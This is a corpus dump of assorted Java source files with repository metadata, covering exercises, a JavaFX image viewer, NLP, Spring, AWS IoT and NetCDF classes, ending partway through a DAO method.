| 2018-04-11T15:03:22
| 111,551,640
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 419
|
java
|
package com.javarush.task.task04.task0438;
/*
Рисуем линии
*/
public class Solution {
public static void main(String[] args) throws Exception {
//напишите тут ваш код
for (int i = 0; i <=9 ; i++) {
System.out.print(8);
}
System.out.println("\n");
for (int j = 0; j <=9 ; j++) {
System.out.println(8);
}
}
}
|
[
"zlakdanata@yandex.ru"
] |
zlakdanata@yandex.ru
|
ee882b58ba4285f52a40b012e7d76533ac757666
|
bde4450604d811be74d0cbdd9abb29afae7f8728
|
/java_fx_test_component/src/application/FileChooserTest.java
|
53d051da008a7c242059649e88631d6ed55102ed
|
[] |
no_license
|
ev15963/java_work
|
a5a04eb0ffe037fd00c652e23d04dc2ae26e3503
|
7696471abf5348dc97733ff5686cc729b0929ff4
|
refs/heads/master
| 2022-11-27T20:00:39.668937
| 2020-08-01T17:21:15
| 2020-08-01T17:21:15
| 258,440,061
| 0
| 0
| null | null | null | null |
UHC
|
Java
| false
| false
| 2,009
|
java
|
package application;
import java.io.File;
import javafx.application.Application;
import javafx.event.ActionEvent;
import javafx.event.EventHandler;
import javafx.scene.Scene;
import javafx.scene.control.Menu;
import javafx.scene.control.MenuBar;
import javafx.scene.control.MenuItem;
import javafx.scene.image.Image;
import javafx.scene.image.ImageView;
import javafx.scene.layout.BorderPane;
import javafx.stage.FileChooser;
import javafx.stage.Stage;
public class FileChooserTest extends Application{
public static void main(String[] args) {
launch(args);
}
@Override
public void start(Stage primaryStage) throws Exception {
BorderPane root = new BorderPane();
Scene scene = new Scene(root, 400, 400);
final ImageView view = new ImageView();
root.setCenter(view);
final FileChooser chooser = new FileChooser(); //파일을 선택할 수 있는
//걸러내는 객체을 얻음 //한글 가능
FileChooser.ExtensionFilter filter
= new FileChooser.ExtensionFilter("Image", "*.jpg", "*.gif", "*.png");
chooser.getExtensionFilters().add(filter);
MenuBar bar = new MenuBar();
root.setTop(bar); //상단에 Menubar 배치
//MenuBar의 위치할 menu 생성
Menu fileMenu = new Menu("_File");
//Menu("_File")에 해당하는 item 생성
MenuItem openItem = new MenuItem("_Open");
//MenuItem("_Open")클릭시,
openItem.setOnAction(new EventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
//FileChooser 출력후, 선택한 파일의 경로 반환
File file = chooser.showOpenDialog(primaryStage);
if (file != null) {
//파일의 경로를 이용하여 ImageView에 출력
Image image = new Image(file.toURI().toString());
view.setImage(image); //image view에 set
}
}
}); //setOnAction() END
fileMenu.getItems().add(openItem);
bar.getMenus().add(fileMenu);
primaryStage.setTitle("FileChooser Test");
primaryStage.setScene(scene);
primaryStage.show();
}
}
|
[
"ev15963@hs.ac.kr"
] |
ev15963@hs.ac.kr
|
c193f83649879df0780df99909cd974cfbe0045b
|
8af1164bac943cef64e41bae312223c3c0e38114
|
/results-java/stanfordnlp--CoreNLP/69b760924bdb71f22a9673d3828812d516ec5ff0/after/PatternToken.java
|
7c3e8536be6d94c4a014a755ed7159d86528198e
|
[] |
no_license
|
fracz/refactor-extractor
|
3ae45c97cc63f26d5cb8b92003b12f74cc9973a9
|
dd5e82bfcc376e74a99e18c2bf54c95676914272
|
refs/heads/master
| 2021-01-19T06:50:08.211003
| 2018-11-30T13:00:57
| 2018-11-30T13:00:57
| 87,353,478
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 3,872
|
java
|
package edu.stanford.nlp.patterns.surface;
import java.io.Serializable;
import java.util.ArrayList;
import java.util.List;
import edu.stanford.nlp.util.StringUtils;
import edu.stanford.nlp.util.logging.Redwood;
/**
* Class to represent a target phrase. Note that you can give additional negative constraints
* in getTokenStr(List) but those are not used by toString, hashCode and equals functions
*
* Author: Sonal Gupta (sonalg@stanford.edu)
*/
public class PatternToken implements Serializable {
private static final long serialVersionUID = 1L;
String tag;
boolean useTag;
int numWordsCompound;
boolean useNER = false;
String nerTag = null;
boolean useTargetParserParentRestriction = false;
String grandparentParseTag;
public PatternToken(String tag, boolean useTag, boolean getCompoundPhrases,
int numWordsCompound, String nerTag, boolean useNER,
boolean useTargetParserParentRestriction, String grandparentParseTag) {
this.tag = tag;
this.useTag = useTag;
this.numWordsCompound = numWordsCompound;
if (!getCompoundPhrases)
numWordsCompound = 1;
this.nerTag = nerTag;
this.useNER = useNER;
this.useTargetParserParentRestriction = useTargetParserParentRestriction;
if(useTargetParserParentRestriction){
if(grandparentParseTag == null){
Redwood.log(ConstantsAndVariables.extremedebug,"Grand parent parse tag null ");
this.grandparentParseTag = "";
}
else
this.grandparentParseTag = grandparentParseTag;
}
}
// static public PatternToken parse(String str) {
// String[] t = str.split("#");
// String tag = t[0];
// boolean usetag = Boolean.parseBoolean(t[1]);
// int num = Integer.parseInt(t[2]);
// boolean useNER = false;
// String ner = "";
// if(t.length > 3){
// useNER = true;
// ner = t[4];
// }
//
// return new PatternToken(tag, usetag, true, num, ner, useNER);
// }
public String toStringToWrite() {
String s = "X";
if (useTag)
s += ":" + tag;
if (useNER)
s += ":" + nerTag;
if (useTargetParserParentRestriction)
s += ":" + grandparentParseTag;
// if(notAllowedClasses !=null && notAllowedClasses.size() > 0){
// s+= ":!(";
// s+= StringUtils.join(notAllowedClasses,"|")+")";
// }
if (numWordsCompound > 1)
s += "{" + numWordsCompound + "}";
return s;
}
String getTokenStr(List<String> notAllowedClasses) {
String str = " (?$term ";
List<String> restrictions = new ArrayList<String>();
if (useTag) {
restrictions.add("{tag:/" + tag + ".*/}");
}
if (useNER) {
restrictions.add("{ner:" + nerTag + "}");
}
if (useTargetParserParentRestriction) {
restrictions.add("{grandparentparsetag:" + grandparentParseTag + "}");
}
if (notAllowedClasses != null && notAllowedClasses.size() > 0) {
for (String na : notAllowedClasses)
restrictions.add("!{" + na + "}");
}
str += "[" + StringUtils.join(restrictions, " & ") + "]{1,"
+ numWordsCompound + "}";
str += ")";
str = StringUtils.toAscii(str);
return str;
}
@Override
public boolean equals(Object b) {
if (!(b instanceof PatternToken))
return false;
PatternToken t = (PatternToken) b;
if(this.useNER != t.useNER || this.useTag != t.useTag || this.useTargetParserParentRestriction != t.useTargetParserParentRestriction || this.numWordsCompound != t.numWordsCompound)
return false;
if (useTag && ! this.tag.equals(t.tag)) {
return false;
}
if (useNER && ! this.nerTag.equals(t.nerTag)){
return false;
}
if (useTargetParserParentRestriction && ! this.grandparentParseTag.equals(t.grandparentParseTag))
return false;
return true;
}
@Override
public int hashCode() {
return getTokenStr(null).hashCode();
}
}
|
[
"fraczwojciech@gmail.com"
] |
fraczwojciech@gmail.com
|
1f1fd9d795ef19e1c41f916dfe04124a643f8b66
|
7df40f6ea2209b7d48979465fd8081ec2ad198cc
|
/TOOLS/server/org/apache/http/HttpException.java
|
646fc8d6a70582ba6a756369eb981ae3e7e3251f
|
[
"IJG"
] |
permissive
|
warchiefmarkus/WurmServerModLauncher-0.43
|
d513810045c7f9aebbf2ec3ee38fc94ccdadd6db
|
3e9d624577178cd4a5c159e8f61a1dd33d9463f6
|
refs/heads/master
| 2021-09-27T10:11:56.037815
| 2021-09-19T16:23:45
| 2021-09-19T16:23:45
| 252,689,028
| 0
| 0
| null | 2021-09-19T16:53:10
| 2020-04-03T09:33:50
|
Java
|
UTF-8
|
Java
| false
| false
| 1,162
|
java
|
/* */ package org.apache.http;
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */ public class HttpException
/* */ extends Exception
/* */ {
/* */ private static final long serialVersionUID = -5437299376222011036L;
/* */
/* */ public HttpException() {}
/* */
/* */ public HttpException(String message) {
/* 52 */ super(message);
/* */ }
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */
/* */ public HttpException(String message, Throwable cause) {
/* 63 */ super(message);
/* 64 */ initCause(cause);
/* */ }
/* */ }
/* Location: C:\Users\leo\Desktop\server.jar!\org\apache\http\HttpException.class
* Java compiler version: 5 (49.0)
* JD-Core Version: 1.1.3
*/
|
[
"warchiefmarkus@gmail.com"
] |
warchiefmarkus@gmail.com
|
3b487054d2e7072849d2f735eda15829844cd92a
|
327be1427daad81689a5aff5a3569f5a48783f67
|
/src/main/java/org/edec/newOrder/service/orderCreator/SocialIncreasedNewReferenceOrderService.java
|
c7fc1ace655cc6e3f6ee2e55d22f229d8a8f18b8
|
[] |
no_license
|
luninok/curriculum
|
7e1a0ccee1ba71f382559543fd62a13ea724490a
|
80e84ec2eb88490260d278e8890a979a8e8d32eb
|
refs/heads/master
| 2021-07-11T08:11:48.644816
| 2018-12-12T08:02:44
| 2018-12-12T08:02:44
| 147,468,888
| 0
| 0
| null | 2019-02-05T03:54:08
| 2018-09-05T06:14:49
|
Java
|
UTF-8
|
Java
| false
| false
| 1,568
|
java
|
package org.edec.newOrder.service.orderCreator;
import org.edec.newOrder.model.addStudent.LinkOrderSectionEditModel;
import org.edec.newOrder.model.createOrder.OrderCreateStudentModel;
import org.edec.newOrder.model.editOrder.StudentModel;
import org.edec.newOrder.model.editOrder.OrderEditModel;
import org.edec.newOrder.model.addStudent.SearchStudentModel;
import java.util.List;
public class SocialIncreasedNewReferenceOrderService extends OrderService {
@Override
protected void generateParamModel () {
// TODO
}
@Override
protected void generateDocumentModel () {
// TODO
}
@Override
protected Long createOrderInDatabase (List<Object> orderParams, List<OrderCreateStudentModel> students) {
return null;
}
@Override
public boolean createAndAttachOrderDocuments (List<Object> documentParams, OrderEditModel order) {
// TODO
return true;
}
@Override
public void removeStudentFromOrder (Long idLoss, OrderEditModel order) {
}
@Override
public void setParamForStudent (Integer i, Object value, StudentModel studentModel, Long idOS) {
}
@Override
public Object getParamForStudent (Integer i, StudentModel studentModel, Long idOS) {
return null;
}
@Override
public String getStringParamForStudent (Integer i, StudentModel studentModel, Long idOS) {
return null;
}
public void addStudentToOrder (SearchStudentModel studentModel, OrderEditModel order, LinkOrderSectionEditModel orderSection) {
}
}
|
[
"luninok@list.ru"
] |
luninok@list.ru
|
8a6b15e5023fc385cf059e1f11dae72d6c9038a1
|
f57c9d57f967289ebc50d9709d8fb6564b1a7898
|
/src/main/java/com/ylz/packcommon/common/comEnum/ReferralType.java
|
ff3f22f6d27de16ca568068d21f314d238ed1afa
|
[] |
no_license
|
zzr156/familydoctor
|
dc78838040fcc838f252f498e101900b9ab1eda6
|
a0d24b24f27b209c748ce1767109fc46b076d785
|
refs/heads/master
| 2022-12-23T18:59:12.892124
| 2019-12-14T02:46:48
| 2019-12-14T02:46:48
| 227,955,558
| 2
| 1
| null | 2022-12-16T02:48:39
| 2019-12-14T02:37:27
|
Java
|
UTF-8
|
Java
| false
| false
| 381
|
java
|
package com.ylz.packcommon.common.comEnum;
/**
* 转诊类型
* Created by zzl on 2017/12/11.
*/
public enum ReferralType {
/**
* 转出
*/
ZC("1"),
/**
* 转入
*/
ZR("2");
private String value;
private ReferralType(String value){
this.value = value;
}
public String getValue(){
return this.value;
}
}
|
[
"1565344173@qq.com"
] |
1565344173@qq.com
|
33ca036e2f2d8de39e7ec6f1d9eeaa0df8b8bbcb
|
8b73d92e633f5ffee2664fe5567bbfa7890c66d3
|
/mall-coupon/src/main/java/com/yukino/coupon/controller/HomeSubjectController.java
|
ea659291a56313adb8ce4598f7e91a4a1756026e
|
[] |
no_license
|
yukinocyann/guli_mall
|
d0541d774973d7004ba7a35f1a98eccb5862bc01
|
847343d79adc0e5cea2fa7f8bf7874699fcf476e
|
refs/heads/master
| 2023-09-01T19:38:44.828460
| 2021-10-07T08:47:48
| 2021-10-07T08:47:48
| 393,608,647
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,334
|
java
|
package com.yukino.coupon.controller;
import java.util.Arrays;
import java.util.Map;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import com.yukino.coupon.entity.HomeSubjectEntity;
import com.yukino.coupon.service.HomeSubjectService;
import com.yukino.common.utils.PageUtils;
import com.yukino.common.utils.R;
/**
* 首页专题表【jd首页下面很多专题,每个专题链接新的页面,展示专题商品信息】
*
* @author yukino
* @email 594983498@qq.com
* @date 2019-10-08 09:36:40
*/
@RestController
@RequestMapping("coupon/homesubject")
public class HomeSubjectController {
@Autowired
private HomeSubjectService homeSubjectService;
/**
* 列表
*/
@RequestMapping("/list")
//@RequiresPermissions("coupon:homesubject:list")
public R list(@RequestParam Map<String, Object> params){
PageUtils page = homeSubjectService.queryPage(params);
return R.ok().put("page", page);
}
/**
* 信息
*/
@RequestMapping("/info/{id}")
//@RequiresPermissions("coupon:homesubject:info")
public R info(@PathVariable("id") Long id){
HomeSubjectEntity homeSubject = homeSubjectService.getById(id);
return R.ok().put("homeSubject", homeSubject);
}
/**
* 保存
*/
@RequestMapping("/save")
//@RequiresPermissions("coupon:homesubject:save")
public R save(@RequestBody HomeSubjectEntity homeSubject){
homeSubjectService.save(homeSubject);
return R.ok();
}
/**
* 修改
*/
@RequestMapping("/update")
//@RequiresPermissions("coupon:homesubject:update")
public R update(@RequestBody HomeSubjectEntity homeSubject){
homeSubjectService.updateById(homeSubject);
return R.ok();
}
/**
* 删除
*/
@RequestMapping("/delete")
//@RequiresPermissions("coupon:homesubject:delete")
public R delete(@RequestBody Long[] ids){
homeSubjectService.removeByIds(Arrays.asList(ids));
return R.ok();
}
}
|
[
"yukinoyannA@gmail.com"
] |
yukinoyannA@gmail.com
|
09b8c4a6ac8489e8f4df90c77139f8558ddb9f74
|
c074acf2945feebfe5927478eb36dee946364f0a
|
/multiple-thread/src/main/java/com/chapter1/P24/RunTest.java
|
9d6d46e600385b2e917f207c9e20e2bb6afd693f
|
[] |
no_license
|
wooyeeyii/think-in-java
|
fcbf9d7baf9fe30ac0dbdb8ebe43a98f69541175
|
3d8c7ab5a7ede7b9d625881bda350ecc19a47375
|
refs/heads/master
| 2021-11-08T17:08:10.117191
| 2021-11-05T01:22:40
| 2021-11-05T01:22:40
| 178,848,694
| 1
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 530
|
java
|
package com.chapter1.P24;
public class RunTest {
public static void main(String[] args) {
try {
Thread thread = new Thread(() -> {
for (int i = 0; i <= 50000; i++) {
System.out.println("i = " + i);
}
});
thread.start();
Thread.sleep(2000);
thread.interrupt();
} catch (InterruptedException e) {
System.out.println("main catch.");
e.printStackTrace();
}
}
}
|
[
"wooyeeyii@163.com"
] |
wooyeeyii@163.com
|
aaf09930bdf2ae64bcb60cf5dc0ff102eee70c24
|
2c40544be8739e5f0d63adf231c1070d97f25aaf
|
/SpringProjects/WebContent/ntsp67/IOCProj6-ConstructorInjection-ParameterResolvation/src/com/nt/beans/StudentDetails.java
|
8f54f10b6116091484e4189aa078ad4c45a687ea
|
[] |
no_license
|
gurunatha/samples
|
7ad293750bc351b722dd079f3b8a8b08a4c7d2d4
|
379cc85d521923bf579fc130e35883f1c1e8b947
|
refs/heads/master
| 2021-08-23T01:52:33.976429
| 2017-12-02T08:37:05
| 2017-12-02T08:37:05
| 112,822,525
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 562
|
java
|
package com.nt.beans;
import java.beans.ConstructorProperties;
public class StudentDetails {
private int sno;
private String sname;
private float avg;
//@ConstructorProperties(value={"sno","stname","avg"}) only in spring 3.x
public StudentDetails(int sno, String stname, float avg) {
System.out.println("StudentDetails:3-param cosntructor");
this.sno = sno;
this.sname = stname;
this.avg = avg;
}
public String toString() {
return "StudentDetails [sno=" + sno + ", sname=" + sname + ", avg=" + avg + "]";
}
}
|
[
"gurunathreddy326@gmail.com"
] |
gurunathreddy326@gmail.com
|
093e4582de697bcd6fa1ed9db9ec23ddd03151df
|
e7e4c88c5e48006ed8e54416fb55b74752303bb8
|
/core/src/main/java/com/omega/core/database/DatastoreManagerSingleton.java
|
4c15158b02c6a41946d9874806d57fe54a7684a4
|
[] |
no_license
|
KyuBlade/BotOfSteel
|
a08311edb46fe387a6e0046e6d6abdbc9b05cce8
|
a1c918a6c982e833af4a05cb79829f966564e5a4
|
refs/heads/master
| 2020-05-26T15:35:59.843758
| 2018-10-22T15:39:31
| 2018-10-22T15:39:31
| 82,493,599
| 0
| 1
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,240
|
java
|
package com.omega.core.database;
import com.mongodb.MongoClient;
import com.omega.core.database.impl.morphia.MorphiaDatastoreManager;
import org.mongodb.morphia.Datastore;
import org.mongodb.morphia.Morphia;
public class DatastoreManagerSingleton {
private DatastoreManager datastoreManager;
private DatastoreManagerSingleton() {
}
private DatastoreManager createDatastoreManager() {
return createMorphiaDatastoreManager();
}
private MorphiaDatastoreManager createMorphiaDatastoreManager() {
Morphia morphia = new Morphia();
Datastore datastore = morphia.createDatastore(new MongoClient("localhost:27017"), "discord_bot");
return new MorphiaDatastoreManager(morphia, datastore);
}
public static DatastoreManager getInstance() {
DatastoreManagerSingleton singleton = DatastoreManagerSingletonHolder.INSTANCE;
if (singleton.datastoreManager == null) {
singleton.datastoreManager = singleton.createDatastoreManager();
}
return singleton.datastoreManager;
}
private static class DatastoreManagerSingletonHolder {
private static final DatastoreManagerSingleton INSTANCE = new DatastoreManagerSingleton();
}
}
|
[
"jonesadev@gmail.com"
] |
jonesadev@gmail.com
|
24a6404286b3aef36b0f98bfd82c59f8278a341d
|
368f9e9033ba7af0df02441b1ea1d72537baa582
|
/src/main/java/com/mageddo/codestyle/Stuff.java
|
30c4df9896c5ccab06e225d8f484dbba9d31ffa7
|
[
"Apache-2.0"
] |
permissive
|
mageddo/java-examples
|
f344de23eda3aab22449b975c1abab87284fae2f
|
4dab6212ee88311f10eeeea576d3314f5cb616ec
|
refs/heads/master
| 2023-09-04T12:50:43.366836
| 2023-08-21T03:31:19
| 2023-08-21T03:31:19
| 162,375,522
| 21
| 10
|
Apache-2.0
| 2023-09-14T10:19:28
| 2018-12-19T03:04:25
|
Java
|
UTF-8
|
Java
| false
| false
| 783
|
java
|
package com.mageddo.codestyle;
import java.util.List;
import static java.util.Collections.singletonMap;
public class Stuff {
public void aVeryLongMethodNameExplainingWhatItDoes(String argumentA, String argumentB,
String argumentC, String argumentD, String argumentE, String argumentF
) {
System.out.println("do stuff");
}
public static void main(String[] args) {
final List<String> fruits = List.of("apple", "orange");
final var myObject = singletonMap("key", "value");
new Stuff().aVeryLongMethodNameExplainingWhatItDoes(
"argument A value", "argument B value", "string for argument C", "argument D value",
"argument E value", "argument F value"
);
if (1 == 1) {
}
for (int i = 0; i < 10; i++) {
}
}
}
|
[
"edigitalb@gmail.com"
] |
edigitalb@gmail.com
|
7c5d409831b18a3c736f9aae612707f7013b00b6
|
1e4b65faf6b14e61eb48dfe652e3c32f57ba7cac
|
/loader/src/uk/ac/manchester/cs/openphacts/ims/constants/DctermsConstants.java
|
f6892aaf21a54e9166cc41deaeec46ca29231a50
|
[] |
no_license
|
openphacts/IdentityMappingService
|
ad4398cded4f00e25fbd60662a49655cc0231631
|
843df4c5a423936a9aa86d240d8298cec862f609
|
refs/heads/master
| 2021-01-17T11:02:24.145177
| 2017-10-11T08:48:32
| 2017-10-11T08:48:32
| 10,176,369
| 3
| 3
| null | 2017-05-04T01:38:16
| 2013-05-20T15:59:04
|
Java
|
UTF-8
|
Java
| false
| false
| 1,630
|
java
|
// BridgeDb,
// An abstraction layer for identifier mapping services, both local and online.
//
// Copyright 2006-2009 BridgeDb developers
// Copyright 2012-2013 Christian Y. A. Brenninkmeijer
// Copyright 2012-2013 OpenPhacts
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
package uk.ac.manchester.cs.openphacts.ims.constants;
import org.openrdf.model.URI;
import org.openrdf.model.impl.URIImpl;
/**
*
*/
public class DctermsConstants {
private static final String dctermns = "http://purl.org/dc/terms/";
public static final URI CREATED = new URIImpl(dctermns + "created");
public static final URI CREATOR = new URIImpl(dctermns + "creator");
public static final URI DESCRIPTION = new URIImpl(dctermns + "description");
public static final URI LICENSE = new URIImpl(dctermns + "license");
public static final URI MODIFIED = new URIImpl(dctermns + "modified");
public static final URI PUBLISHER = new URIImpl(dctermns + "publisher");
public static final URI SUBJECT = new URIImpl(dctermns + "subject");
public static final URI TITLE = new URIImpl(dctermns + "title");
}
|
[
"brenninc@cs.man.ac.uk"
] |
brenninc@cs.man.ac.uk
|
7a7c8dc8610bd33a5f2fbb2a6f8fe3a2ab5084ce
|
28c40b1cb95b171a78f7f702eb6fb76ea91821de
|
/aws-java-sdk-iot/src/main/java/com/amazonaws/services/iotdata/model/transform/UpdateThingShadowRequestMarshaller.java
|
dda2c08e4c585ccd0a53fdec62ab81e79bf6b37c
|
[
"Apache-2.0",
"JSON"
] |
permissive
|
picantegamer/aws-sdk-java
|
e9249bc9fad712f475c15df74068b306d773df10
|
206557596ee15a8aa470ad2f33a06d248042d5d0
|
refs/heads/master
| 2021-01-14T13:44:03.807035
| 2016-01-08T22:23:36
| 2016-01-08T22:23:36
| 49,227,858
| 0
| 0
| null | 2016-01-07T20:07:24
| 2016-01-07T20:07:23
| null |
UTF-8
|
Java
| false
| false
| 2,878
|
java
|
/*
* Copyright 2010-2015 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
package com.amazonaws.services.iotdata.model.transform;
import static com.amazonaws.util.StringUtils.UTF8;
import static com.amazonaws.util.StringUtils.COMMA_SEPARATOR;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.io.Writer;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.List;
import java.util.regex.Pattern;
import com.amazonaws.AmazonClientException;
import com.amazonaws.Request;
import com.amazonaws.DefaultRequest;
import com.amazonaws.http.HttpMethodName;
import com.amazonaws.services.iotdata.model.*;
import com.amazonaws.transform.Marshaller;
import com.amazonaws.util.BinaryUtils;
import com.amazonaws.util.StringUtils;
import com.amazonaws.util.StringInputStream;
import com.amazonaws.util.json.*;
/**
* UpdateThingShadowRequest Marshaller
*/
public class UpdateThingShadowRequestMarshaller implements
Marshaller<Request<UpdateThingShadowRequest>, UpdateThingShadowRequest> {
private static final String DEFAULT_CONTENT_TYPE = "";
public Request<UpdateThingShadowRequest> marshall(
UpdateThingShadowRequest updateThingShadowRequest) {
if (updateThingShadowRequest == null) {
throw new AmazonClientException(
"Invalid argument passed to marshall(...)");
}
Request<UpdateThingShadowRequest> request = new DefaultRequest<UpdateThingShadowRequest>(
updateThingShadowRequest, "AWSIotData");
request.setHttpMethod(HttpMethodName.POST);
String uriResourcePath = "/things/{thingName}/shadow";
uriResourcePath = uriResourcePath.replace(
"{thingName}",
(updateThingShadowRequest.getThingName() == null) ? ""
: StringUtils.fromString(updateThingShadowRequest
.getThingName()));
request.setResourcePath(uriResourcePath);
request.setContent(BinaryUtils.toStream(updateThingShadowRequest
.getPayload()));
if (!request.getHeaders().containsKey("Content-Type")) {
request.addHeader("Content-Type", DEFAULT_CONTENT_TYPE);
}
return request;
}
}
|
[
"aws@amazon.com"
] |
aws@amazon.com
|
a0abd5264d405282fb74ee42a787014b658be929
|
f8dded68b9125a95e64745b3838c664b11ce7bbe
|
/cdm/src/main/java/ucar/nc2/iosp/adde/AddeVariable.java
|
186348b8778a94f22c299359e8d27f1a27ad763e
|
[
"NetCDF"
] |
permissive
|
melissalinkert/netcdf
|
8d01f27f377b0b6639ac47bfc891e1b92e5b3bd1
|
18482c15fce43a4b378dacdc9177ec600280c903
|
refs/heads/master
| 2016-09-09T19:25:59.885325
| 2012-02-07T01:44:35
| 2012-02-07T01:44:35
| 3,373,307
| 1
| 4
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,668
|
java
|
/*
* Copyright 1998-2009 University Corporation for Atmospheric Research/Unidata
*
* Portions of this software were developed by the Unidata Program at the
* University Corporation for Atmospheric Research.
*
* Access and use of this software shall impose the following obligations
* and understandings on the user. The user is granted the right, without
* any fee or cost, to use, copy, modify, alter, enhance and distribute
* this software, and any derivative works thereof, and its supporting
* documentation for any purpose whatsoever, provided that this entire
* notice appears in all copies of the software, derivative works and
* supporting documentation. Further, UCAR requests that the user credit
* UCAR/Unidata in any publications that result from the use of this
* software or in any product that includes this software. The names UCAR
* and/or Unidata, however, may not be used in any advertising or publicity
* to endorse or promote any products or commercial entity unless specific
* written permission is obtained from UCAR/Unidata. The user also
* understands that UCAR/Unidata is not obligated to provide the user with
* any support, consulting, training or assistance of any kind with regard
* to the use, operation and performance of this software nor to provide
* the user with any updates, revisions, new versions or "bug fixes."
*
* THIS SOFTWARE IS PROVIDED BY UCAR/UNIDATA "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL UCAR/UNIDATA BE LIABLE FOR ANY SPECIAL,
* INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING
* FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
* NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
* WITH THE ACCESS, USE OR PERFORMANCE OF THIS SOFTWARE.
*/
package ucar.nc2.iosp.adde;
import ucar.nc2.Structure;
import ucar.ma2.DataType;
import ucar.nc2.dataset.NetcdfDataset;
/**
* A Variable implemented through an ADDE server.
* *
* @author caron
* @version $Revision: 51 $ $Date: 2006-07-12 17:13:13Z $
*/
public class AddeVariable extends ucar.nc2.dataset.VariableDS {
private int nparam;
public AddeVariable( NetcdfDataset ncfile, Structure parentStructure, String shortName,
DataType dataType, String dims, String units, String desc, int nparam) {
super(ncfile, null, parentStructure, shortName, dataType, dims, units, desc);
this.nparam = nparam;
}
int getParam() { return nparam; }
}
|
[
"melissa@glencoesoftware.com"
] |
melissa@glencoesoftware.com
|
84d0708a36aefee7aacde99c5e2bf7e0c742def5
|
dc1dbb7e5a4b95bf44170d2f51fd08b3814f2ac9
|
/data_defect4j/preprossed_method_corpus/Chart/16/org/jfree/chart/axis/DateTickUnit_rollDate_267.java
|
d572761cebab362af75846dc75ce53b5ac5684c7
|
[] |
no_license
|
hvdthong/NetML
|
dca6cf4d34c5799b400d718e0a6cd2e0b167297d
|
9bb103da21327912e5a29cbf9be9ff4d058731a5
|
refs/heads/master
| 2021-06-30T15:03:52.618255
| 2020-10-07T01:58:48
| 2020-10-07T01:58:48
| 150,383,588
| 1
| 1
| null | 2018-09-26T07:08:45
| 2018-09-26T07:08:44
| null |
UTF-8
|
Java
| false
| false
| 879
|
java
|
org jfree chart axi
tick unit subclass link date axi dateaxi instanc
immut
date tick unit datetickunit tick unit tickunit serializ
roll date forward amount roll unit
count
param base base date
roll date
roll date rolldat date time zone timezon
date roll date rolldat date base
calendar calendar calendar instanc getinst
calendar set time settim base
calendar add calendar field getcalendarfield roll unit rollunit roll count rollcount
calendar time gettim
|
[
"hvdthong@gmail.com"
] |
hvdthong@gmail.com
|
70d7593b374eefe4107ef040c4886d4cdb4e0e35
|
187713e94047e26b7019721d7ca2e2f5158b1c20
|
/src/main/java/com/ras/searchParam/SearchParamDaoImpl.java
|
bd84d0d6b34e16499295d752b8b05a5476cd6e1f
|
[] |
no_license
|
algz/Framework
|
f7b793d94f1e81d6d878492466c77e022833f872
|
4a6f1e3e25e25f34192c82beb7b4d49d973606ae
|
refs/heads/master
| 2021-01-18T22:40:40.300148
| 2018-04-18T01:56:51
| 2018-04-18T01:56:51
| 30,111,934
| 0
| 1
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 4,482
|
java
|
package com.ras.searchParam;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import org.hibernate.SessionFactory;
import org.hibernate.transform.Transformers;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Repository;
import com.ras.aircraftType.AircraftType;
import com.ras.aircraftType.AircraftTypeDao;
import com.ras.country.Country;
import com.ras.country.CountryDao;
import net.sf.json.JSONArray;
import net.sf.json.JSONObject;
@Repository
public class SearchParamDaoImpl implements SearchParamDao {
@Autowired
private CountryDao countryDao;
@Autowired
private AircraftTypeDao aircraftTypeDao;
@Autowired
private SessionFactory sf;
@SuppressWarnings("unchecked")
@Override
public void findAll(SearchParamVo<SearchParam> vo) {
String sql=" from ras_search_param tag where 1=1 ";
if(vo.getOnlyRead()!=null&&!vo.getOnlyRead().equals("1")){
sql+= " and tag.onlyRead='"+vo.getOnlyRead()+"' ";
}
